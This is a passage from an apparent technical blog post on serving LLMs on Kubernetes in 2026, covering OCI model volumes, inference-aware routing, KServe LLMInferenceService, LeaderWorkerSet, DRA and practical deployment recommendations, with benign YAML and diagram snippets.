<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      v</span><span style="color: light-dark(#1E66F5, #89B4FA);">olumeMounts</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">        -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> m</span><span style="color: light-dark(#40A02B, #A6E3A1);">odel</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          m</span><span style="color: light-dark(#1E66F5, #89B4FA);">ountPath</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> /</span><span style="color: light-dark(#40A02B, #A6E3A1);">models/llama</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          r</span><span style="color: light-dark(#1E66F5, #89B4FA);">eadOnly</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> true</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  v</span><span style="color: light-dark(#1E66F5, #89B4FA);">olumes</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">    -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> m</span><span style="color: light-dark(#40A02B, #A6E3A1);">odel</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      i</span><span style="color: light-dark(#1E66F5, #89B4FA);">mage</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        r</span><span style="color: light-dark(#1E66F5, #89B4FA);">eference</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> r</span><span style="color: light-dark(#40A02B, #A6E3A1);">egistry.example.com/models/llama:2026-07</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        p</span><span style="color: light-dark(#1E66F5, #89B4FA);">ullPolicy</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> I</span><span style="color: light-dark(#40A02B, #A6E3A1);">fNotPresent</span></span></code></pre>
<p>The sidecar pattern is no longer required merely because Kubernetes lacks an
OCI-backed volume type. ModelCars can still be useful for KServe integration, compatibility with older clusters,
and established tooling, but native image volumes provide a cleaner upstream primitive.</p>
<p>OCI packaging does <strong>not</strong> eliminate cold starts.</p>
<p>A 100–500 GB model still has to reach the node. Startup behavior still depends on:</p>
<ul>
<li>registry throughput and rate limits</li>
<li>layer structure and decompression cost</li>
<li>container-runtime support</li>
<li>node disk capacity and eviction policy</li>
<li>whether the model is already cached</li>
<li>how many nodes pull the same model at once</li>
</ul>
<p>KServe also maintains a
<a rel="noopener external" target="_blank" href="https://kserve.github.io/website/docs/model-serving/generative-inference/modelcache/localmodel">Local Model Cache</a>.
It can pre-download model artifacts to local NVMe and let several inference pods reuse the warmed copy.</p>
<p>Native OCI volumes improve packaging and delivery semantics. Local caching addresses placement and startup
latency. They solve related but different problems.</p>
<h2 id="2-inference-aware-routing-gets-a-standard-api">2. Inference-aware routing gets a standard API</h2>
<p>A Kubernetes <code>Service</code> assumes that its ready endpoints are roughly interchangeable. That assumption breaks down
for LLM serving.</p>
<p>Two healthy replicas can have very different costs for the same request:</p>
<ul>
<li>one replica may already have the prompt prefix in its key-value (KV) cache</li>
<li>one may have a long queue</li>
<li>one may be close to KV-cache exhaustion</li>
<li>only one may have the requested LoRA adapter loaded</li>
<li>replicas may use different accelerators or quantizations</li>
<li>a long prompt may be better assigned to a different pool than a decode-heavy request</li>
</ul>
<p>Round-robin routing ignores all of this.</p>
<p>The same problem space described as "LLM Instance Gateway" in the 2024 article is now addressed by the
<a rel="noopener external" target="_blank" href="https://gateway-api-inference-extension.sigs.k8s.io/">Gateway API Inference Extension</a>.
By July 2026, the project marks itself generally available and defines <code>InferencePool</code> as a specialized backend
abstraction for model servers. A gateway delegates endpoint choice to an inference router or endpoint picker, which can use live metrics
and model-server capabilities.</p>
<p>The request path becomes:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="mermaid"><span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">flowchart</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> LR</span></span>
<span class="giallo-l"><span>    accTitle</span><span>: </span><span>The </span><span>inference-aware </span><span>request </span><span>path</span></span>
<span class="giallo-l"><span>    accDescr</span><span>: </span><span>An </span><span>HTTPRoute </span><span>sends </span><span>a </span><span>request </span><span>to </span><span>an </span><span>InferencePool</span><span>, </span><span>which </span><span>consults </span><span>an </span><span>endpoint </span><span>picker </span><span>before </span><span>selecting </span><span>a </span><span>model-server </span><span>pod</span><span>.</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    HTTPRoute</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">HTTPRoute</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    InferencePool</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">InferencePool</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    EndpointPicker</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Endpoint picker</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    ModelServer</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Selected model-server pod</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    HTTPRoute </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> InferencePool</span></span>
<span class="giallo-l"><span>    InferencePool </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> EndpointPicker</span></span>
<span class="giallo-l"><span>    EndpointPicker </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> ModelServer</span></span></code></pre><p class="mermaid-caption">Figure 2. Gateway API delegates model-server selection to an inference-aware endpoint picker.</p>
<p>The components have separate responsibilities:</p>
<ul>
<li><strong>Gateway API</strong> handles traffic attachment and routing integration.</li>
<li><strong>InferencePool</strong> identifies a pool of inference endpoints.</li>
<li><strong>The endpoint picker</strong> decides which endpoint is best for the request.</li>
<li><strong>The model server</strong> exposes metrics and capabilities used by the picker.</li>
</ul>
<p>The reference project does not define every scheduling policy. Its documentation points users
toward components such as the <a rel="noopener external" target="_blank" href="https://github.com/llm-d/llm-d-router">llm-d router</a>. Some of the advanced features that were
previously developed in the Inference Extension repository have now moved to the llm-d repositories. These features
include endpoint selection and model rewrite logic. The extension still owns the Pool API
and conformance work.</p>
<p>The integration API defines how a gateway connects to an inference pool without requiring every platform to use the
same scheduling algorithm. The GA label does not imply that every endpoint-selection policy or gateway implementation
is equally mature.</p>
<h2 id="3-kserve-separates-predictive-and-generative-serving">3. KServe separates predictive and generative serving</h2>
<p>KServe's original <code>InferenceService</code> API was designed for a broad range of predictive models and serving runtimes.
It still fits many workloads well.</p>
<p>LLM serving, however, needs concepts that do not map cleanly to a conventional stateless model endpoint:</p>
<ul>
<li>tensor, data, and expert parallelism</li>
<li>groups of pods forming one logical replica</li>
<li>prefill/decode disaggregation</li>
<li>KV-cache-aware routing</li>
<li>LoRA adapter selection</li>
<li>long-lived streaming responses</li>
<li>autoscaling signals based on queues, tokens, and cache pressure</li>
</ul>
<p>KServe 0.17 presented <code>LLMInferenceService</code> as its API for production generative AI serving. KServe 0.18 added
multi-node inference without requiring Ray, LeaderWorkerSet-based autoscaling, OpenAI Responses API routing,
namespace-scoped model-cache work, and llm-d 0.6 integration.</p>
<p>In KServe 0.18, example manifests still use the
<code>serving.kserve.io/v1alpha2</code> API. Schema evolution therefore belongs in the upgrade plan.</p>
<p>The distinction is now explicit:</p>
<ul>
<li>use <strong><code>InferenceService</code></strong> for predictive serving and simpler serving patterns</li>
<li>use <strong><code>LLMInferenceService</code></strong> when you need orchestration designed for generative AI</li>
</ul>
<p>A simplified resource can describe the model, replicas, runtime, and managed routing:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">a</span><span style="color: light-dark(#1E66F5, #89B4FA);">piVersion</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> s</span><span style="color: light-dark(#40A02B, #A6E3A1);">erving.kserve.io/v1alpha2</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">k</span><span style="color: light-dark(#1E66F5, #89B4FA);">ind</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> L</span><span style="color: light-dark(#40A02B, #A6E3A1);">LMInferenceService</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">m</span><span style="color: light-dark(#1E66F5, #89B4FA);">etadata</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> m</span><span style="color: light-dark(#40A02B, #A6E3A1);">y-llm</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">s</span><span style="color: light-dark(#1E66F5, #89B4FA);">pec</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  m</span><span style="color: light-dark(#1E66F5, #89B4FA);">odel</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    u</span><span style="color: light-dark(#1E66F5, #89B4FA);">ri</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> h</span><span style="color: light-dark(#40A02B, #A6E3A1);">f://organization/model</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> o</span><span style="color: light-dark(#40A02B, #A6E3A1);">rganization--model</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  r</span><span style="color: light-dark(#1E66F5, #89B4FA);">eplicas</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#FE640B, #FAB387);"> 3</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  t</span><span style="color: light-dark(#1E66F5, #89B4FA);">emplate</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    c</span><span style="color: light-dark(#1E66F5, #89B4FA);">ontainers</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> m</span><span style="color: light-dark(#40A02B, #A6E3A1);">ain</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        i</span><span style="color: light-dark(#1E66F5, #89B4FA);">mage</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> v</span><span style="color: light-dark(#40A02B, #A6E3A1);">llm/vllm-openai:&lt;tested-version&gt;</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        r</span><span style="color: light-dark(#1E66F5, #89B4FA);">esources</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">          l</span><span style="color: light-dark(#1E66F5, #89B4FA);">imits</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">            n</span><span style="color: light-dark(#1E66F5, #89B4FA);">vidia.com/gpu</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">1</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  r</span><span style="color: light-dark(#1E66F5, #89B4FA);">outer</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    g</span><span style="color: light-dark(#1E66F5, #89B4FA);">ateway</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      m</span><span style="color: light-dark(#1E66F5, #89B4FA);">anaged</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span><span style="color: light-dark(#7C7F93, #9399B2);">}</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    r</span><span style="color: light-dark(#1E66F5, #89B4FA);">oute</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      h</span><span style="color: light-dark(#1E66F5, #89B4FA);">ttpRoute</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span><span style="color: light-dark(#7C7F93, #9399B2);">}</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    s</span><span style="color: light-dark(#1E66F5, #89B4FA);">cheduler</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">      p</span><span style="color: light-dark(#1E66F5, #89B4FA);">ool</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#7C7F93, #9399B2);"> {</span><span style="color: light-dark(#7C7F93, #9399B2);">}</span></span></code></pre>
<p>For multi-node execution, adding a worker template causes KServe to create a <code>LeaderWorkerSet</code>. Adding a prefill
template selects a disaggregated topology.</p>
<p>The complete setup may require Kubernetes 1.32 or newer, Gateway API, an inference-extension-compatible gateway,
Gateway API Inference Extension, <code>LeaderWorkerSet</code> for multi-node workloads, <a rel="noopener external" target="_blank" href="https://keda.sh/">KEDA</a> for some
autoscaling configurations, cert-manager, KServe, an inference router, and a supported model engine.</p>
<p>Before adopting it, validate:</p>
<ol>
<li>the exact compatibility matrix</li>
<li>upgrade order and rollback behavior</li>
<li>CRD conversion and deletion behavior</li>
<li>which component owns each metric and status condition</li>
<li>failure handling when the router, gateway, or one worker group is unavailable</li>
</ol>
<p><code>LLMInferenceService</code> reduces the amount of custom platform code you need to write. It does not remove the need to
operate the resulting distributed system.</p>
<h2 id="4-leaderworkerset-makes-multi-node-inference-declarative">4. LeaderWorkerSet makes multi-node inference declarative</h2>
<p>Some models do not fit on one node. Others technically fit but need several nodes to reach the required throughput.
A normal <code>Deployment</code> is a poor representation of this topology because several pods may jointly form one model
replica and must start, stop, and recover as a group.</p>
<p><a rel="noopener external" target="_blank" href="https://lws.sigs.k8s.io/docs/overview/">LeaderWorkerSet</a> provides an API for deploying a group of pods as a unit of
replication. It targets multi-host AI/ML workloads where a model is sharded across devices and nodes.</p>
<p>KServe can use LeaderWorkerSet for:</p>
<ul>
<li>multi-node tensor parallelism</li>
<li>distributed data parallel replicas</li>
<li>expert parallelism for mixture-of-experts models</li>
<li>coordinated lifecycle and autoscaling of worker groups</li>
</ul>
<p>llm-d builds a higher-level distributed inference system around engines such as vLLM. Its current architecture
includes prefix-cache-aware routing, prefill/decode disaggregation, distributed KV-cache capabilities, multi-node
execution, and workload-aware autoscaling. The project entered the CNCF Sandbox in March 2026.</p>
<h3 id="prefill-decode-disaggregation">Prefill/decode disaggregation</h3>
<p>LLM inference has two phases with different resource profiles:</p>
<ul>
<li><strong>Prefill</strong> processes the input prompt. It is often compute-heavy, especially for long contexts.</li>
<li><strong>Decode</strong> generates tokens iteratively. It is commonly limited by memory bandwidth and KV-cache access.</li>
</ul>
<p>A disaggregated architecture runs these phases in different pools and scales them independently:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="mermaid"><span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">flowchart</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> LR</span></span>
<span class="giallo-l"><span>    accTitle</span><span>: </span><span>Disaggregated </span><span>prefill </span><span>and </span><span>decode</span></span>
<span class="giallo-l"><span>    accDescr</span><span>: </span><span>A </span><span>request </span><span>is </span><span>processed </span><span>by </span><span>a </span><span>prefill </span><span>worker</span><span>, </span><span>its </span><span>KV </span><span>state </span><span>is </span><span>transferred </span><span>to </span><span>a </span><span>decode </span><span>worker</span><span>, </span><span>and </span><span>the </span><span>response </span><span>is </span><span>streamed </span><span>to </span><span>the </span><span>client</span><span>.</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    Request</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Request</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    Prefill</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Prefill worker</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    KVTransfer</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Transfer KV state</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    Decode</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Decode worker</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"><span>    Response</span><span style="color: light-dark(#8839EF, #CBA6F7);">[</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">Streamed response</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#8839EF, #CBA6F7);">]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>    Request </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Prefill</span></span>
<span class="giallo-l"><span>    Prefill </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> KVTransfer</span></span>
<span class="giallo-l"><span>    KVTransfer </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Decode</span></span>
<span class="giallo-l"><span>    Decode </span><span style="color: light-dark(#8839EF, #CBA6F7);">--&gt;</span><span> Response</span></span></code></pre><p class="mermaid-caption">Figure 3. Disaggregation introduces an explicit KV-state transfer between prefill and decode.</p>
<p>This can reduce interference between long prefills and active decodes and let each phase use a different
replica count or hardware shape.</p>
<p>But it also adds a KV-transfer path before the first token. The result depends heavily on network bandwidth,
latency, topology, transfer libraries, and the distribution of input and output lengths. On a bandwidth-constrained
or high-latency inter-node network, disaggregation can move the bottleneck rather than remove it.</p>
<p>Use disaggregation when measurements show that it improves the target workload.</p>
<h2 id="5-dra-improves-accelerator-allocation-but-depends-on-drivers">5. DRA improves accelerator allocation—but depends on drivers</h2>
<p>For years, most Kubernetes GPU workloads have requested extended resources exposed by Device Plugins:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">r</span><span style="color: light-dark(#1E66F5, #89B4FA);">esources</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  l</span><span style="color: light-dark(#1E66F5, #89B4FA);">imits</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    n</span><span style="color: light-dark(#1E66F5, #89B4FA);">vidia.com/gpu</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">8</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span></code></pre>
<p>This works, but it expresses little about the requested devices. It does not naturally represent properties such as
GPU model, memory size, interconnect topology, sharing mode, or a reusable claim.</p>
<p><a rel="noopener external" target="_blank" href="https://kubernetes.io/docs/concepts/scheduling-eviction/dynamic-resource-allocation/">Dynamic Resource Allocation</a>
provides a richer model based on resources such as <code>DeviceClass</code>, <code>ResourceClaim</code>, and <code>ResourceClaimTemplate</code>.
The core DRA APIs graduated to stable in Kubernetes 1.34. Kubernetes 1.36 continued work on device health,
partitionable devices, consumable capacity, and additional drivers.</p>
<p>DRA is Kubernetes's upstream direction for allocating specialized hardware, but a stable API does not make every
accelerator stack ready for production.</p>
<p>You still need to check:</p>
<ul>
<li>whether your vendor provides a supported DRA driver</li>
<li>which Kubernetes and driver versions are compatible</li>
<li>how Multi-Instance GPU (MIG), time slicing, or other partitioning modes are represented</li>
<li>whether device health reaches the controllers that perform recovery</li>
<li>how upgrades coexist with existing Device Plugin workloads</li>
<li>whether your managed Kubernetes provider exposes the required features</li>
</ul>
<p>For many current clusters, Device Plugins remain the production default. DRA is useful when its
richer selection and sharing semantics solve a concrete placement problem.</p>
<h2 id="6-workload-aware-scheduling-arrives-in-alpha">6. Workload-aware scheduling arrives in alpha</h2>
<p>Distributed inference may require several pods and devices to become available together. Scheduling them one at a
time can leave partially allocated workloads holding scarce GPUs while waiting for the rest of the group.</p>
<p>Kubernetes 1.35 introduced native workload-aware scheduling work, including gang-scheduling foundations.
Kubernetes 1.36 expanded it with <code>Workload</code> and <code>PodGroup</code> APIs and atomic scheduling of related pod groups.</p>
<p>The feature is <strong>alpha</strong>.</p>
<p>It moves group scheduling closer to the upstream scheduler and Job controller and may eventually replace some
external scheduling layers. Do not replace an existing production scheduler or queueing system without extensive
testing.</p>
<p>LeaderWorkerSet and workload-aware scheduling also solve different concerns:</p>
<ul>
<li>LeaderWorkerSet describes and manages a replicated group of cooperating pods.</li>
<li>Workload-aware scheduling determines how related pods receive resources together.</li>
</ul>
<p>A platform may eventually use both.</p>
<h2 id="7-kubeflow-hub-expands-model-discovery-and-governance">7. Kubeflow Hub expands model discovery and governance</h2>
<p>The Model Registry described in 2024 has expanded into
<a rel="noopener external" target="_blank" href="https://www.kubeflow.org/docs/components/hub/">Kubeflow Hub</a>, which combines:</p>
<ul>
<li><strong>Model Registry:</strong> metadata, versions, artifacts, lifecycle status, and governance</li>
<li><strong>Model Catalog:</strong> read-only discovery across configured external catalogs</li>
</ul>
<p>The catalog can federate metadata from sources such as Hugging Face. The registry can integrate with deployment
workflows and KServe storage initialization.</p>
<p>Kubeflow Hub is primarily a metadata and discovery system. Its architecture documentation
explicitly describes the registry as a passive repository rather than a Kubernetes control plane. The catalog does
not store model weights.</p>
<p>As of July 2026, the registry is still offered as an opt-in alpha component in Kubeflow Community Distribution 1.9
and newer, and its REST API remains versioned as <code>v1alpha3</code>.</p>
<p>Treat it as an early lifecycle component, not as a dependency for every inference request.</p>
<p>Keep large weight distribution in OCI registries, object storage, or a dedicated model-cache layer. Keep approval,
lineage, versions, and deployment metadata in the registry.</p>
<h2 id="8-ai-policy-moves-toward-gateways">8. AI policy moves toward gateways</h2>
<p>TrustyAI has continued beyond its early explainability focus, with tools for metrics, evaluation, bias and drift
analysis, and language-model testing. It remains a pluggable part of the wider lifecycle rather than the central
serving control plane.</p>
<p>A newer development is the formation of the
<a rel="noopener external" target="_blank" href="https://kubernetes.io/blog/2026/03/09/announcing-ai-gateway-wg/">Kubernetes AI Gateway Working Group</a>.
Its scope includes common patterns such as:</p>
<ul>
<li>token-based rate limiting</li>
<li>fine-grained access control</li>
<li>payload inspection</li>
<li>routing, caching, and guardrail hooks</li>
<li>secure access to external model providers</li>
<li>regional policy and failover</li>
</ul>
<p>Model-serving engines schedule and execute inference. A gateway can apply tenant policy consistently to self-hosted
and external providers.</p>
<p>The working group is new. Its proposals are not stable APIs with broad implementation support.</p>
<h2 id="what-i-would-deploy-today">What I would deploy today</h2>
<p>There is no single "Kubernetes AI stack." I would choose the smallest architecture that can handle the workload.</p>
<h3 id="case-1-one-model-one-or-a-few-replicas">Case 1: One model, one or a few replicas</h3>
<p>Start with:</p>
<ul>
<li>a tested model-server image, such as vLLM, SGLang, or TensorRT-LLM</li>
<li>a <code>Deployment</code>, <code>StatefulSet</code>, or a basic KServe <code>InferenceService</code></li>
<li>a standard <code>Service</code> and Gateway API route</li>
<li>model files from object storage, an OCI image volume, or a pre-warmed node cache</li>
<li>Prometheus metrics at the gateway, engine, GPU, and node layers</li>
</ul>
<p>Do not install an inference-aware router until replicas are sufficiently busy for routing quality to matter.</p>
<h3 id="case-2-a-shared-production-llm-service">Case 2: A shared production LLM service</h3>
<p>Add:</p>
<ul>
<li>multiple replicas with an explicit latency and throughput SLO</li>
<li><code>InferencePool</code> and a production endpoint picker when queue or cache affinity matters</li>
<li>KServe <code>LLMInferenceService</code> when its lifecycle automation is worth the dependencies</li>
<li>request priorities, admission control, quotas, and maximum context/output limits</li>
<li>autoscaling based on queueing, prompt length, output length, concurrency, and request mix—not GPU utilization alone</li>
</ul>
<p>Keep the model server and routing policy independently observable. A healthy gateway does not prove that the engine
is healthy, and a healthy engine does not prove that clients receive timely streamed tokens.</p>
<h3 id="case-3-models-that-require-several-nodes">Case 3: Models that require several nodes</h3>
<p>Add <code>LeaderWorkerSet</code> only when one logical replica spans multiple pods or nodes.</p>
<p>Before production, test:</p>
<ul>
<li>startup and restart of the whole worker group</li>
<li>one worker or node failing during generation</li>
<li>collective-communication failures</li>
<li>rack and topology placement</li>
<li>network saturation</li>
<li>rolling updates when old and new model copies cannot fit simultaneously</li>
<li>whether failed replicas release all GPUs promptly</li>
</ul>
<p>Treat network bandwidth and topology as capacity constraints.</p>
<h3 id="case-4-large-scale-or-heterogeneous-inference">Case 4: Large-scale or heterogeneous inference</h3>
<p>Evaluate DRA when you need richer accelerator selection, sharing, or health semantics and your vendor's driver is
ready. Consider llm-d when prefix affinity, prefill/decode disaggregation, or distributed serving produces a
measurable improvement over simpler routing.</p>
<p>Do not adopt every available CRD. Every controller adds:</p>
<ul>
<li>reconciliation behavior</li>
<li>status you must monitor</li>
<li>upgrade compatibility</li>
<li>RBAC and security surface</li>
<li>another place where desired and actual state can diverge</li>
</ul>
<h2 id="what-is-still-not-solved">What is still not solved</h2>
<ul>
<li><strong>Predictable cold starts:</strong> OCI volumes and local caches improve delivery, but very large models still require
substantial disk, network, and initialization time. Autoscaling cannot create warm GPU capacity instantly.</li>
<li><strong>Safe autoscaling:</strong> Inference demand is measured in prompts, tokens, context lengths, and active sequences, not
only requests per second. Replica startup may take many minutes, and scaling down can interrupt streams or destroy
useful cache state.</li>
<li><strong>Portable accelerator management:</strong> DRA provides a stable upstream API, but production behavior still depends on
vendor drivers, managed-platform support, partitioning features, and integration with the existing device stack.</li>
<li><strong>Operational simplicity:</strong> A full deployment may combine KServe, Gateway API, Inference Extension, a gateway,
LeaderWorkerSet, KEDA, llm-d components, an engine, a model cache, and accelerator drivers. The combination requires
